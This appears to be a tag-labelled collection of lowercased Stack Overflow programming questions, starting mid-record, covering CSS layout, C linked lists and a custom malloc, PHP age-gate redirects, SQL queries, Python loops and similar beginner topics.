#nav-add-connections a {             color:#006600;         }          strong {             font-weight:bold;         }          #nav-utility li:last-child {             padding-right:0;         }         #nav-primary { background:url( http://static02.linkedin.com/scds/common/u/img/sprite/sprite_global_v3.png ) no-repeat scroll 0 -470px transparent; }         #nav-primary .wrapper {              background:url( http://static02.linkedin.com/scds/common/u/img/sprite/sprite_global_v3.png ) no-repeat scroll 0 -510px transparent;         height:39px;         padding:0 5px;         }                 #logo-linkedin {             float:left;             margin:8px 10px 0 4px;             position:relative;         }                 #logo-linkedin h1 a {             background:url( http://static02.linkedin.com/scds/common/u/img/sprite/sprite_global_v3.png ) no-repeat scroll 0 0 transparent;             display:block;             height:23px;             text-indent:-12345px;             width:88px;         }                 a {             color:#006699;             outline:medium none;             text-decoration:none;         }                a:hover {             text-deoration: underline         }         #nav-primary ul  #nav-primary li  #nav-primary p  #nav-primary fieldset { border:medium none; list-style-type:none; margin:0; padding:0; }         #nav-primary .nav li.tab { float:left; font-size:130%; font-weight:bold; line-height:36px; margin:1px 0 0; }  #nav-primary .nav a  #nav-primary .nav a:visited  #header #nav-primary .nav li li a  #header #nav-primary .nav li li a:visited { color:#006699; text-decoration:none; }  #nav-primary .nav a span { display:block; padding:0 10px; font-size: 15px; }  #nav-primary .nav li.libar:before {     content: * ; }      &lt;/style&gt; &lt;/head&gt;  &lt;body&gt; &lt;div class= member  id= header &gt;  &lt;div class= wrapper &gt;     &lt;div id= nav-primary &gt;         &lt;div class= wrapper &gt;             &lt;ul class= nav &gt;                 &lt;li class= tab libar  id= nav-primary-home &gt;                     &lt;a href= /home trk=hb_tab_home &gt;&lt;span&gt;home&lt;/span&gt;&lt;/a&gt;                 &lt;/li&gt;                 &lt;li class= tab libar  id= nav-primary-profile &gt;                      &lt;a href= /myprofile trk=hb_tab_pro &gt;&lt;span&gt;profile&lt;/span&gt;&lt;/a&gt;              &lt;/li&gt;             &lt;/ul&gt;          &lt;/div&gt;     &lt;/div&gt;  &lt;/div&gt; &lt;/div&gt;  &lt;/body&gt;  &lt;/html&gt; </code></pre>   thank you,css
loop text to match character count between two linked list in c  i have this text that i want to loop to match the count of my elements in a linked list.   <pre><code>char mybasearray[] =  close your eyes  ; </code></pre>   i have this linked list made of int (0 and 1) like this :   <pre><code>linkedlistone = 1 -&gt; 0 -&gt; 0 -&gt; 0 -&gt; 1 -&gt; 1 -&gt; 1 -&gt; 1 -&gt; 1 -&gt; 1 -&gt; 1 -&gt; 0 -&gt; 0 -&gt; 0   </code></pre>   i want to make a second linked list with the same number of 0 s and 1 s and loop through my base array for text. in other words  1 s and 0 s are letters but i want to keep the blanks with my base array.     example 1 :   <pre><code>linkedlistone = 1 -&gt; 0   (2 elements in my list) linkedlisttwo = c -&gt; l   (2 letters) </code></pre>   example 2 :    <pre><code>linkedlistone = 1 -&gt; 0 -&gt; 1 -&gt; 0 -&gt; 1 -&gt; 0 -&gt; 1 -&gt; 0 -&gt; 1 -&gt; 0 -&gt; 1 -&gt; 0 -&gt; 1 -&gt; 0 -&gt; 1 -&gt; 0 -&gt; 1 -&gt; 0 -&gt; 1 -&gt; 0 (20 elements in my list) linkedlisttwo = c -&gt; l -&gt; o -&gt; s -&gt; e -&gt;(blank)-&gt; y -&gt; o -&gt; u -&gt; r -&gt;(blank)-&gt; e -&gt; y -&gt; e -&gt; s -&gt;(blank)-&gt;c -&gt; l -&gt; o -&gt; s -&gt; e-&gt;(blank)-&gt;y -&gt; o(20 letters) </code></pre>   as you can see blank does not count as a 0 or 1.    the example 2 is more complex because i have to add blank spaces in my linked list so when i print it  it will output :   <pre><code>close your eyes close yo </code></pre>   another output with a very long list could be :   <pre><code>close your eyes close your eyes close your eyes close your eyes close your eyes  </code></pre>   my linked list are working just fine and i have implemented a count function so i know the numbers of 1 s and 0 s. i am not sure on how to loop through my base array to match that count.,c
ios: how to build static library for simulator   hi i am having trouble testing a static library through the simulator. if i build the static library when the scheme is iphone simulator  no *.a file gets generated. it is only generated if the scheme is ios device. how to do this,ios
age-check pass through and redirect  i ve been trying to get this to work properly  but i m getting an infinite redirect when executed. i ve done this in the past  but can t remember exactly how i did it (and i ve lost my original files a long time ago).    i have an age gate set up to allow only those over 18 to access content. if they come to my top page (index.php) they ll be asked to enter their birthday (mm-dd-yyyy)  and if they meet the age  they will be taken to the next page (home.php). if they aren t of age  then they should be direct to a  sorry  page (message.php).  and  if for some reason  they go straight to home.php  they need to be redirected to index.php in order to enter their birthday.     so flow: index.php - home.php   (if they pass the age gate)    index. php - message.php (if they don t)    home.php - index.php   (if they haven t gone through the age gate yet)    home.php - message.php  (if they have gone through the age gate  but failed the check  and are trying to see if they can directly access the page)    (extra) file.php - index.php - file.php (if they haven t gone through the age gate  get redirected to index to do so  then be brought back to file.php once they are pass/checked)    right now  im getting an infinite loop on the home.php (too many redirects)    my code below:    index.php   <pre><code>&lt; php session_start();  if ( isset( $_session[  legal  ] ) ) { # check to see if session has already been set     $url = ( $_session[  legal  ] ==  yes  )    home.php  :  message.php ;     header(  location:   . $url ); }  // if visitor hasn t gone through the age gate - age gate function and set session// if ( isset( $_post[  checkage  ] ) ) {     $day = ctype_digit( $_post[  day  ] )   $_post[  day  ] :   ;     $month = ctype_digit( $_post[  month  ] )   $_post[  month  ] :   ;     $year = ctype_digit( $_post[  year  ] )   $_post[  year  ] :   ;      $birthstamp = mktime( 0  0  0  $month  $day  $year );     $diff = time() - $birthstamp;     $age_years = floor( $diff / 31556926 );     if ( $age_years &gt;= 18 ) {         $_session[  legal  ] =  yes ;          $url =  index.php ;     } else {         $_session[  legal  ] =  no ;          // if failed the age gate go to specific page         $url =  message.php ;     }     header(  location:   . $url ); }    &gt; &lt;!doctype html&gt; &lt;html&gt;  &lt;head&gt;     &lt;meta charset= utf-8 &gt;     &lt;title&gt;check&lt;/title&gt; &lt;/head&gt;  &lt;body&gt;     &lt;form method= post  action= index.php  id= checkage &gt;         &lt;label for= month &gt;month:&lt;/label&gt;         &lt;input type= text  name= month  id= month /&gt;          &lt;label for= day &gt;day:&lt;/label&gt;         &lt;input type= text  name= day  id= day /&gt;          &lt;label for= year &gt;year:&lt;/label&gt;         &lt;input type= text  name= year  id= year /&gt;           &lt;input type= submit  name= checkage  value= submit  class= submit-button /&gt;     &lt;/form&gt; &lt;/body&gt;  &lt;/html&gt; </code></pre>   home.php   <pre><code>&lt; php if (!isset($_session[ legal ]) || $_session[ legal ] ==  no ) {     $_session[ target ] = $_server[ php_self ];     header( location: index.php );     return; }  &gt; &lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset= utf-8 &gt; &lt;title&gt;home&lt;/title&gt; &lt;/head&gt;  &lt;body&gt;     &lt;p&gt;you are here&lt;/p&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   message.php   <pre><code>&lt;html&gt; &lt;head&gt; &lt;meta charset= utf-8 &gt; &lt;title&gt;sorry&lt;/title&gt; &lt;/head&gt;  &lt;body&gt;     &lt;p&gt;sorry you are not able to see this content&lt;/p&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   unfortunately  i don t have an external server to test on (or link to),php
swipe-based navigation  i m hoping to hear any thoughts people have on how to architecture a swipe based menu/selection.      basically  what i want to do is create a portion of the screen that can be swiped (left or right) to select between one of say five images.  for example  a server would deliver 5 images that reflect  headlines  or  stories  that when a user clicks on the individual image  it would send the user to a new view that can display the related content.  the user could switch between the images by swiping either left or right.      i would want to lazily update the images and supplemental information for the forward and backward image to minimize delay for the user.      i can imagine how i would set up the data to support the swiping action and then send data to the selected view so that it can be displayed.      what i m curious about is what people think the best method of designing the actual swipable menu would be.  i know when apps provide  for example  swipable images there is discussion about using a uiscrollview and updating the images that way.  or  i could use uiviewcontroller containment to simply create five or so separate views that are swapped between based on the user swipe.  or  there may be a much better way of doing this.    thoughts,ios
having trouble discovering a way to make a calendar using python  i need to make a calendar in python that displays a formatted table of a month when the user inputs the days in the month and the date of the first sunday. for example  if user inputs 30 days and the first sunday is 6  then the calendar would look like this.    <a href= https://i.stack.imgur.com/2rxcn.gif  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/2rxcn.gif  alt= calendar ></a>    i have no idea which direction to go when going about this problem. i could use some help on how to approach this question. so far i ve only learnt about booleans  conditionals  loops  etc. also not allowed to import calendar. thank you.,python
"css: floats not working as expected  ive done some looking around and i am still not sure what i am doing wrong with floats as of now. i have a section that i am working on. i currently have a border on it just so i can see the area its displaying in better. though  when i delete this border the content shifts completely to a new area of the page.    i figure its probably something i have done wrong with my floats  but i have not been able to find anything online yet to help me figure out this problem.     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>/*------------------------------------------------------------------
 [ basic css startup ]
 ------------------------------------------------------------------*/
 
 * {
   margin: 0;
   padding: 0;
   box-sizing: border-box;
 }
 
 html {
   font-size: 62.5%;
 }
 
 body {
   color: #777;
   font-family:  roboto   sans-serif;
   font-weight: 400;
   font-size: 1.6rem;
 }
 
 .clearfix::after {
   overflow: auto;
   content:   ;
   display: table;
   clear: both;
 }
 
 .container {
   max-width: 120rem;
   margin: 0 auto;
 }
 
 .site-container {
   max-width: 160rem;
   margin: 0 auto;
 }
 
 
 /* adds margin between sections */
 
 .section-spacing {
   margin-top: 10rem;
 }
 
 
 /*------------------------------------------------------------------
 [ reusable css ]
 ------------------------------------------------------------------*/
 
 
 /* header font size */
 
 .header-font {
   font-size: 2.5rem;
   font-weight: bold;
   color: #566467;
   margin-bottom: 5rem;
   text-transform: uppercase;
 }
 
 .content-font {
   color: #919191;
   line-height: 2rem;
   hyphens: auto;
 }
 
 
 /*------------------------------------------------------------------
 [ grid ]
 ------------------------------------------------------------------*/
 
 .row {
   max-width: 120rem;
   background-color: #fff;
   margin: 0 auto;
   margin-bottom: 8rem;
 }
 
 .col-1-of-3 {
   width: calc((100% - 2 * 5rem) / 3);
   float: left;
 }
 
 .col-2-of-3 {
   width: calc(2 * ((100% - 2 * 5rem) / 3) + 5rem);
   float: left;
 }
 
 .col-1-of-3:not(:last-child) {
   margin-right: 5rem;
 }
 
 
 /*------------------------------------------------------------------
 [ header ]
 ------------------------------------------------------------------*/
 
 .headercontent {
   position: absolute;
   top: 50%;
   left: 50%;
   transform: translate(-50%  -50%);
   text-align: center;
   z-index: 1;
 }
 
 .headertext {
   margin: 5rem;
   color: #fff;
   font-size: 6.5rem;
   letter-spacing: .5rem;
   border-top: .2rem solid #fff;
   border-bottom: .2rem solid #fff;
   text-transform: uppercase;
   animation: fadein 3s ease-out;
 }
 
 .btn:link 
 .btn:visited {
   font-size: 1.25rem;
   font-weight: 800;
   text-transform: uppercase;
   text-decoration: none;
   padding: 2rem 4.5rem;
   cursor: pointer;
   display: inline-block;
 }
 
 .btn:hover {
   color: #000;
   transition: all .2s ease-in;
 }
 
 .btn-white {
   color: #fff;
   border: .2rem solid #fff;
   animation: fadein 3s ease-out;
 }
 
 .btn-white:hover {
   border: .2rem solid #000;
   transition: all .2s ease-in;
 }
 
 @keyframes fadein {
   0% {
     opacity: 0;
   }
   100% {
     opacity: 1;
   }
 }
 
 
 /*------------------------------------------------------------------
 [ slideshow ]
 ------------------------------------------------------------------*/
 
 .slide {
   width: 100%;
   height: 95vh;
   -webkit-background-size: auto;
   -moz-background-size: auto;
   -o-background-size: auto;
   background-size: auto;
   background-image: linear-gradient(to bottom right  rgba(0  0  0  1)  rgba(0  0  0  0.6)  rgba(0  0  0  0)  rgba(0  0  0  1));
 }
 
 .slides {
   height: 95vh;
   width: 100%;
   background-color: #252f31;
   overflow-x: hidden;
 }
 
 .slide_1 {
   background: url(../img/andromeda_1600_1000.jpg) no-repeat center center;
 }
 
 .slide_2 {
   background: url(../img/nasa_1600_1000.jpg) no-repeat center center;
 }
 
 .slide_3 {
   background: url(../img/spacex_1600_1000.jpg) no-repeat center center;
 }
 
 
 /* https://codepen.io/vavik96/pen/brxxqx editors=1100 */
 
 
 /* example of carousel */
 
 .slide {
   width: 100%;
   position: absolute;
   left: 0;
   right: 0;
   opacity: 0;
   animation: carousel-fade 15s linear infinite;
   -webkit-animation: carousel-fade 15s linear infinite;
   -moz-animation: carousel-fade 15s linear infinite;
   -ms-animation: carousel-fade 15s linear infinite;
 }
 
 .slide:nth-child(2) {
   animation-delay: 5s;
   -webkit-animation-delay: 5s;
   -moz-animation-delay: 5s;
   -ms-animation-delay: 5s;
 }
 
 .slide:nth-child(3) {
   animation-delay: 10s;
   -webkit-animation-delay: 10s;
   -moz-animation-delay: 10s;
   -ms-animation-delay: 10s;
 }
 
 @keyframes carousel-fade {
   0% 
   38% 
   100% {
     opacity: 0;
   }
   10% {
     opacity: 1;
   }
 }
 
 @-webkit-keyframes carousel-fade {
   0% 
   38% 
   100% {
     opacity: 0;
   }
   10% {
     opacity: 1;
   }
 }
 
 @-moz-keyframes carousel-fade {
   0% 
   38% 
   100% {
     opacity: 0;
   }
   10% {
     opacity: 1;
   }
 }
 
 @-ms-keyframes carousel-fade {
   0% 
   38% 
   100% {
     opacity: 0;
   }
   10% {
     opacity: 1;
   }
 }
 
 
 /*------------------------------------------------------------------
 [ main navigation ]
 ------------------------------------------------------------------*/
 
 .navigation {
   background-color: #252f31;
   padding: 2.5rem;
 }
 
 .mainnav {
   float: right;
   list-style: none;
   text-transform: uppercase;
 }
 
 .mainnav li {
   margin-left: 4rem;
   display: inline-block;
 }
 
 .mainnav li a:link 
 .mainnav li a:visited {
   color: #fff;
   text-decoration: none;
 }
 
 .mainnav li a:hover 
 .mainnav li a:active {
   color: #2fca6f;
   cursor: pointer;
   transition: color .3s ease-in;
   text-decoration: none;
 }
 
 .stickynav {
   position: fixed;
   top: 0;
   width: 100%;
 }
 
 
 /*------------------------------------------------------------------
 [ value section ]
 ------------------------------------------------------------------*/
 
 .values {
   margin-bottom: 10rem;
 }
 
 
 /*------------------------------------------------------------------
 [ about me ]
 ------------------------------------------------------------------*/
 
 .about-container {
   max-width: 140rem;
 }
 
 img {
   height: 80rem;
   width: 60rem;
   margin-right: 1.5rem;
   display: inline-block;
   float: left;
   background-color: red;
 }
 
 .about-content {
   margin-left: 1.5rem;
   margin-top: 10rem;
   background-color: #f2f2f2;
   border: 1px solid red;
 }
 
 div p.content-font {
   margin-top: 5rem;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;section class= about-me site-container clearfix &gt;
   &lt;div class= about-container clearfix &gt;
     &lt;div class= img-content &gt;
       &lt;img src= img/house_sky_650_850.jpg  /&gt;
     &lt;/div&gt;
 
     &lt;div class= about-content clearfix &gt;
       &lt;h3 class= header-font section-spacing &gt;about me&lt;/h3&gt;
       &lt;p class= content-font &gt;
         lorem ipsum dolor sit amet  consectetur adipiscing elit  sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut eu sem integer vitae justo eget. leo a diam sollicitudin tempor id. feugiat nisl pretium fusce id velit ut tortor.
       &lt;/p&gt;
       &lt;p class= content-font &gt;
         lorem ipsum dolor sit amet  consectetur adipiscing elit  sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. faucibus interdum posuere lorem ipsum.
       &lt;/p&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 &lt;/section&gt;</code></pre>
 </div>
 </div>
     the red portion is an image of the dimensions listed. to the right of that should be the content section. i set it up to end at the right side of the page so it keeps inline with the rest of the content of the page. is there someone who could point out where i am going wrong here  i am still fairly new to css all things considered and just not figuring this out now after about an hour of fiddling about.",css
multiple row select in html without the use of checkbox  i want to select multiple rows in a table without using a checkbox. is there any way to do this,html
sql: print the address of the publisher who has published only one book  tables:    <pre><code>auth(auth  age)  book(title auth pubname)  publ(pubname address) </code></pre>   i am attempting to come up with the query that will print the address of the publisher who has published only one book here is my attempt  please correct me if i am wrong: this is not homework  it is part of a study guide for an upcoming test.   <pre><code>select address  from publ  where pubname    in ( select pubname         from book         group by pubname           having count(*) = 1) </code></pre>   i think that is right but not sure.,sql
return list of directories containing specified extension  i d like to get a list of directories below the current directory containing mp3 s.     i can get the a list of the files easily enough using <code>os.walk</code>. i can get the full path easily enough using <code>os.path.join(os.path.abspath(root)  file)</code>  but i just want a list with of the matching directories. i ve tried using <code>os.path.dirname</code> and <code>os.path.pardir</code>  but all i get with them is <code> .. </code>.    <pre><code>import os l = [] for root  dirs  files in os.walk( . ):     for file in files:          if file.endswith( .mp3 ):              l.append(os.path.dirname(file)) </code></pre>   i m probably missing something obvious     cheers.,python
restart activity from from scratch after system killed the app process  when activity is restored after was being killed by the system (i mean app process was killed  and process restarts with old activities stack)  activity restore old it s state - is it possible to clear this activity state and restart activity from from scratch.,android
correct approach to handle similar but different types of objects like user accounts  i am starting a new web project. and i have some questions about handling user accounts. i have some basic oop knowledge but new with php.    my scenario is very familiar. there will be two different type of accounts. customers and companies. they will have some shared and particular properties. in database i will use three tables for storing user data. one for shared properties. others will be for specific information on the type of user.    <strong>shared_data</strong>   <pre><code>+---------+-----------------------+---------------+----------+----------+--------+ | user_id |         email         |   user_name   | password |   type   | active | +---------+-----------------------+---------------+----------+----------+--------+ |       1 | mail@supercompany.com | super company | secret   | company  |      1 | |       2 | mail@boldcompany      | bold company  | cetres   | company  |      1 | |       3 | johndoe@mail.com      | john doe      | retsec   | customer |      1 | |       4 | janedoe@mail.com      | jane doe      | setrec   | customer |      1 | +---------+-----------------------+---------------+----------+----------+--------+ </code></pre>   <strong>company_only_data</strong>   <pre><code>+---------+-----------------+------------------+ | user_id | company_address | person_in_charge | +---------+-----------------+------------------+ |       1 | berlin          | steven seagal    | |       2 | budapest        | chuck norris     | +---------+-----------------+------------------+ </code></pre>   <strong>user_only_data</strong>   <pre><code>+---------+--------+--------------+ | user_id | gender | last_shoping | +---------+--------+--------------+ |       3 | male   | never        | |       4 | female | yesterday    | +---------+--------+--------------+ </code></pre>   i don t want to reinvent the whell. as user handling is one of the essential step of web programming i thought i d find better resources about that subject. i read many articles including  <strong>abstract classes and interfaces</strong>  but none of them was clear.    my plan is construct something like below   <pre><code>class usermanager {     private $user_id;      public function __construct($user_id)     {         $this-&gt;user_id = $user_id;     }      public function getdata()     {         //return joined data of shared_data table         //and second table (based on type of account)      }      public function deactivate()     {         //update shared_data set active=0 where user_id = $this-&gt;user_id     }      public function login()     {         //...     }      public function logout()     {         //...     } }  class customermanager extends usermanager {     public function getshoppingdata()     {         //return results of shopping_data table for $this-&gt;user_id     }      //...some other customer related methods }  class companymanager extends usermanager {     public function getsalesreport()     {         //work with results of sales_data table for $this-&gt;user_id     }      //...some other company related methods } </code></pre>   am i on the right track or doing something wrong     can you suggest me some well documented links to start with or suggest me an approach,php
kind of applications that can be based on dotnet framework alone  i am intend to do a web application and host it. since i have some knowledge  in asp.netand c#  i decided to develop using dotnet.     i am not sure about the licencing from microsoft for dotnet.    my question is :    is it possible to use only <strong>dotnet framework</strong> which is free and use mysql as backend to develop a webapplication and host it without buying licence   if so what editor can i use to develop the application      pls suggest me some ideas. thanks.,.net
python 3.6.1  for loop   [python using for loop.......][1]    whether this is possible using  for loop        ....`   <blockquote>    [1]: <a href= https://i.stack.imgur.com/glzmz.png  rel= nofollow noreferrer >https://i.stack.imgur.com/glzmz.png</a>  </blockquote>  <pre><code> n=int(input()) for j in range (0 n):       for i in range (1+j 0):         print(    end= # )      print() </code></pre>   ` help me to solve this using  for  loop.... i don t think it is possible in  while  loop. if possible please post that also.. but ultimately i need this only by  for loop ...,python
euler problem10 not getting ans on output  i am getting  output in more than 20 minute is there any way to reduce the time to get out put quickly   <pre><code>public class problem10 { public static void main(string[] args) { long temp =0;     int n=2000000;  for(long i=2; i&lt;n; i++){  system.out.println((i));      boolean isprime = true;   for(long j=2; j&lt;i; j++){        if(i%j==0){         isprime =false;                break;           }       }    if(isprime)    {temp +=i;     }    }    system.out.println(temp);  }   } </code></pre>,java
memory allocator implementation segfault  i am currently developing a memory allocator  i have come with this code a the moment but this code below segfault on almost every commands when i do a ld_preload of my implementation.   <pre><code>#include &lt;pthread.h&gt; #include  malloc.h   t_mem_map       g_map; int         g_empty_map = true;  static t_ctrl       *get_free_block(size_t size) {   t_ctrl        *tmp;    tmp = g_map.head;   while (tmp != null)     {       if (tmp-&gt;is_free == true &amp;&amp; tmp-&gt;size &lt; size)     {       tmp-&gt;is_free = false;       return (tmp);     }       tmp = tmp-&gt;next;     }   return (null); }  static void     *init_map(size_t size) {   t_ctrl        *tmp;    g_map.map_size = default_map_size;   while (g_map.map_size &lt; size + sizeof(t_ctrl))     g_map.map_size += default_map_size;   if ((g_map.head = (t_ctrl *)sbrk(g_map.map_size)) == (void *)-1)     return (null);   tmp = g_map.head;   tmp-&gt;next = null;   tmp-&gt;prev = null;   tmp-&gt;size = size;   tmp-&gt;is_free = false;   g_map.free_space = g_map.map_size - size - sizeof(t_ctrl);   g_empty_map = false;   unlock_thread();   return ((void *)((char *)tmp + sizeof(t_ctrl))); }  static void     *add_block(size_t size) {   t_ctrl        *tmp;   t_ctrl        *new;    tmp = get_free_block(size);   if (tmp != null)     return ((void *)((char *)tmp + sizeof(t_ctrl)));   tmp = g_map.head;   while (tmp-&gt;next != null)     tmp = tmp-&gt;next;   new = (t_ctrl *)((char *)tmp + sizeof(t_ctrl) + tmp-&gt;size);   new-&gt;prev = tmp;   new-&gt;next = null;   tmp-&gt;next = new;   new-&gt;size = size;   new-&gt;is_free = false;   g_map.free_space -= (new-&gt;size + sizeof(t_ctrl));   unlock_thread();   return ((void *)((char *)new + sizeof(t_ctrl))); }  static void     *resize_map(size_t size) {   size_t        size_shift;    size_shift = 0;   while (g_map.free_space &lt; size + sizeof(t_ctrl))     {       g_map.map_size += default_map_size;       g_map.free_space += default_map_size;       size_shift += default_map_size;     }   if (sbrk(size_shift) == (void *)-1)     return (null);   return (add_block(size)); }  void            *malloc(size_t size) {   size_t        a_size;    lock_thread();   a_size = align(size);   if (g_empty_map == true)     return (init_map(a_size));   else     {       if ((a_size + sizeof(t_ctrl)) &lt;= g_map.free_space)         return (add_block(a_size));       else     return (resize_map(a_size));     }   return (null); } </code></pre>   here is the malloc.h :   <pre><code># include &lt;stdio.h&gt; # include &lt;stddef.h&gt; # include &lt;unistd.h&gt;  # define true 0 # define false 1  # define success 0 # define failure 1   # ifndef __x86_64__ #  define alignment (16) # else #  define alignment (8) # endif  # define align(size) (((size) + (alignment - 1)) &amp;~ (alignment - 1)) # define default_map_size (align(sysconf(_sc_pagesize)))  typedef struct      s_ctrl {   size_t        is_free;   size_t        size;   struct s_ctrl     *next;   struct s_ctrl     *prev; }           t_ctrl;  typedef struct      s_mem_map {   size_t        map_size;   size_t        free_space;   //  int           free_blocks;   //int         nb_blocks;   t_ctrl        *head; }           t_mem_map; </code></pre>   with some research i found out that the segfault is likely coming from the while loop in the get_free_block() function but i can t understand why.   <pre><code>static t_ctrl       *get_free_block(size_t size) {   t_ctrl        *tmp;    tmp = g_map.head;   while (tmp != null)     {       if (tmp-&gt;is_free == true &amp;&amp; tmp-&gt;size &lt; size)         {           tmp-&gt;is_free = false;           return (tmp);         }       tmp = tmp-&gt;next;     }   return (null); } </code></pre>,c
unable to find my.ini file to set variable event_scheduler = on  i m using windows os  mysql - v5.1.66.     the event scheduler does not seem to work after an restart of mysql server  after searching lot many forums  i learnt setting event_scheduler variable in my.ini file resolves the problem but  i searched a lot for the file in my system without any success.     somebody help me please,mysql
group by returning duplicate values  i need to have a record of all the ticket numbers that has been created by my colleagues with the dates they were created. upon doing so  i used group by not to have duplicate ticket number  but i am still getting 3 - 5 duplicate values.    code:   <pre><code>select        a.ticket_number  a.created_by b.date_created   from          records as a inner join               (select max(sys_created_on) as date_created  ticket_number                from time_stamp                group by ticket_number) as b on a.ticket_number = b.ticket_number  order by date_created desc </code></pre>   here is the example table:   <pre><code>ticket_number    created_by    date_created ti123123         john          2018-07-10 12:07:56 ti123123         john          2018-07-10 12:07:56 ti123123         john          2018-07-10 12:07:56 ti123123         john          2018-07-10 12:07:56 ti123124         peter         2018-07-10 12:07:54 ti123124         peter         2018-07-10 12:07:54 ti123124         peter         2018-07-10 12:07:54 ti123124         peter         2018-07-10 12:07:54 </code></pre>,sql
can macro perform compound assignments  i read little <a href= http://gcc.gnu.org/onlinedocs/cpp/concatenation.html#concatenation  rel= nofollow >gnu online docs</a> about macro and little confused about this sentence:    <blockquote>    also multi-character operators such as += can be formed by token pasting  </blockquote>   so i wander if macro can perform compound assignments how,c
"how to make a treetable  i tried using <code>jquery.treetable.css</code> to make my treetable. the problem is that this uses tons of lines of code and it s very boring. <a href= https://github.com/jonmiles/bootstrap-treeview  rel= nofollow noreferrer >i saw this bootstrap treetable</a> but i dont think i can put textboxes in the as a field.    what should i do  is there a better way to display tree information      <strong>something to display something like vehicle->road->car</strong>    also the arrows are missing to represent that it s a node.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;link rel= stylesheet  href= https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css &gt;
 &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js &gt;&lt;/script&gt;
 &lt;script src= https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js &gt;&lt;/script&gt;
 &lt;link href= https://gitcdn.github.io/bootstrap-toggle/2.2.2/css/bootstrap-toggle.min.css  rel= stylesheet &gt;
 &lt;script src= https://gitcdn.github.io/bootstrap-toggle/2.2.2/js/bootstrap-toggle.min.js &gt;&lt;/script&gt;
     
     
 &lt;table class= table  id= treetable &gt;
   &lt;thead&gt;
     &lt;tr&gt;
       &lt;th class= text-center &gt;type&lt;/th&gt;
       &lt;th class= text-center &gt;first day&lt;/th&gt;
       &lt;th class= text-center &gt;repeat for all&lt;/th&gt;
       &lt;th class= text-center &gt;day 2&lt;/th&gt;
       &lt;th class= text-center &gt;day 3&lt;/th&gt;
       &lt;th class= text-center &gt;day 4&lt;/th&gt;
       &lt;th class= text-center &gt;day 5&lt;/th&gt;
     &lt;/tr&gt;
   &lt;/thead&gt;
   &lt;tbody&gt;
     &lt;tr&gt;
       &lt;td&gt;deposit&lt;/td&gt;
       &lt;td&gt;&lt;/td&gt;
       &lt;td&gt;&lt;/td&gt;
       &lt;td&gt;&lt;/td&gt;
       &lt;td&gt;&lt;/td&gt;
       &lt;td&gt;&lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr data-tt-id= 1.1  data-tt-parent-id= 1 &gt;
       &lt;td&gt;cd&lt;/td&gt;
       &lt;td&gt;&lt;/td&gt;
       &lt;td&gt;&lt;/td&gt;
       &lt;td&gt;&lt;/td&gt;
       &lt;td&gt;&lt;/td&gt;
       &lt;td&gt;&lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr data-tt-id= 1.2  data-tt-parent-id= 1 &gt;
       &lt;td&gt;dbd&lt;/td&gt;
       &lt;td&gt;&lt;/td&gt;
       &lt;td&gt;&lt;/td&gt;
       &lt;td&gt;&lt;/td&gt;
       &lt;td&gt;&lt;/td&gt;
       &lt;td&gt;&lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr data-tt-id= 1.3  data-tt-parent-id= 1 &gt;
       &lt;td&gt;dda&lt;/td&gt;
       &lt;td&gt;&lt;/td&gt;
       &lt;td&gt;&lt;/td&gt;
       &lt;td&gt;&lt;/td&gt;
       &lt;td&gt;&lt;/td&gt;
       &lt;td&gt;&lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr data-tt-id= 1.3.1  data-tt-parent-id= 1.3 &gt;
       &lt;td&gt;800&lt;/td&gt;
       &lt;td&gt;&lt;input type= number  min= 0 &gt;&lt;/td&gt;
       &lt;td&gt;
         &lt;div class= checkbox &gt;
           &lt;input type= checkbox  checked data-toggle= toggle  data-size= mini &gt;
         &lt;/div&gt;
       &lt;/td&gt;
       &lt;td&gt;&lt;input type= number  min= 0 &gt;&lt;/td&gt;
       &lt;td&gt;&lt;input type= number  min= 0 &gt;&lt;/td&gt;
       &lt;td&gt;&lt;input type= number  min= 0 &gt;&lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr data-tt-id= 1.3.2  data-tt-parent-id= 1.3 &gt;
       &lt;td&gt;850&lt;/td&gt;
       &lt;td&gt;&lt;input type= number  min= 0 &gt;&lt;/td&gt;
       &lt;td&gt;
         &lt;div class= checkbox &gt;
           &lt;input type= checkbox  checked data-toggle= toggle  data-size= mini &gt;
         &lt;/div&gt;
       &lt;/td&gt;
       &lt;td&gt;&lt;input type= number  min= 0 &gt;&lt;/td&gt;
       &lt;td&gt;&lt;input type= number  min= 0 &gt;&lt;/td&gt;
       &lt;td&gt;&lt;input type= number  min= 0 &gt;&lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr data-tt-id= 1.3.3  data-tt-parent-id= 1.3 &gt;
       &lt;td&gt;870&lt;/td&gt;
       &lt;td&gt;&lt;input type= number  min= 0 &gt;&lt;/td&gt;
       &lt;td&gt;
         &lt;div class= checkbox &gt;
           &lt;input type= checkbox  checked data-toggle= toggle  data-size= mini &gt;
         &lt;/div&gt;
       &lt;/td&gt;
       &lt;td&gt;&lt;input type= number  min= 0 &gt;&lt;/td&gt;
       &lt;td&gt;&lt;input type= number  min= 0 &gt;&lt;/td&gt;
       &lt;td&gt;&lt;input type= number  min= 0 &gt;&lt;/td&gt;
     &lt;/tr&gt;
   &lt;/tbody&gt;
 &lt;/table&gt;</code></pre>
 </div>
 </div>",html
how to loop through dictionary other than using foreach(keyvaluepair)   is there other way to loop through all keys and values other than using    <pre><code>foreach (keyvaluepair&lt;t  t&gt; kv in _dic) </code></pre>,c#
